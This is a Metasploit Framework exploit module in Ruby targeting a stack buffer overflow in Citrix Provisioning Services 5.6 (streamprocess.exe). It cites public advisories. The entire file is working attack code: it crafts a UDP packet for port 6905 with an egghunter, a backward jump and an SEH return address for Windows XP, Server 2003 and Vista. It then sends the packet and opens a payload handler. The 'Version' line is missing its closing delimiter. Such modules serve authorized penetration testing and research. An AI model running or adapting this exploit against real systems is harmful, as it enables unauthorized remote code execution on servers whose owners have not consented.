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##
# $Id: citrix_streamprocess.rb 13042 2011-06-27 18:00:12Z sinn3r $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::Udp
include Msf::Exploit::Remote::Egghunter
def initialize(info = {})
super(update_info(info,
'Name' => 'Citrix Provisioning Services 5.6 streamprocess.exe Buffer Overflow',
'Description' => %q{
This module exploits a stack buffer overflow in Citrix Provisioning Services 5.6.
By sending a specially crafted packet to the Provisioning Services server, a fixed
length buffer on the stack can be overflowed and arbitrary code can be executed.
},
'Author' => 'mog',
'License' => MSF_LICENSE,
'Version' => '$Revision: 13042
,
'References' =>
[
[ 'OSVDB', '70597'],
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-023/' ],
[ 'URL', 'http://secunia.com/advisories/42954/' ],
[ 'URL', 'http://support.citrix.com/article/CTX127149' ],
],
'DefaultOptions' =>
{
# best at delaying/preventing target crashing post-exploit
'EXITFUNC' => 'process',
'InitialAutoRunScript' => 'migrate -f',
},
'Payload' =>
{
'BadChars' => "\x00", # Only "\x00\x00" breaks the overflow, but this is safer
},
'Platform' => 'win',
'Targets' =>
[
# pop/pop/ret in streamprocess.exe
# Service runs and automatically shuts down in Win 7
[ 'Windows XP SP3 / Windows Server 2003 SP2 / Windows Vista', { 'Ret' => 0x00423d32 } ],
],
'Privileged' => true,
'DefaultTarget' => 0,
'DisclosureDate' => 'Jan 20 2011'))
register_options([Opt::RPORT(6905)], self.class)
end
def exploit
eggoptions =
{
:checksum => true,
:eggtag => 'W00t',
}
hunter,egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)
sploit = "\x10\x00\x02\x40" # message type
sploit << rand_text_alpha_upper(30)
sploit << "\x00\x01\x00\x00" # length field
sploit << rand_text_alpha_upper(400)
sploit << hunter
sploit << rand_text_alpha_upper(64 - hunter.length)
sploit << "\xEB\xBE" # Jump back 66 bytes to hunter because there's
sploit << rand_text_alpha_upper(2) # only 24 bytes of cyclic copy after ret
sploit << [target.ret].pack('V') # SE handler
sploit << rand_text_alpha_upper(50) # Need >= 24 bytes to keep the tag out of the stack
sploit << egg # Payload has a whole page to itself
print_status("Trying target #{target.name}...")
connect_udp
udp_sock.put(sploit)
print_status("Exploit sent, wait for egghunter.")
select(nil, nil, nil, 4) # takes about 8 seconds in tests
handler(udp_sock)
disconnect_udp
end
end
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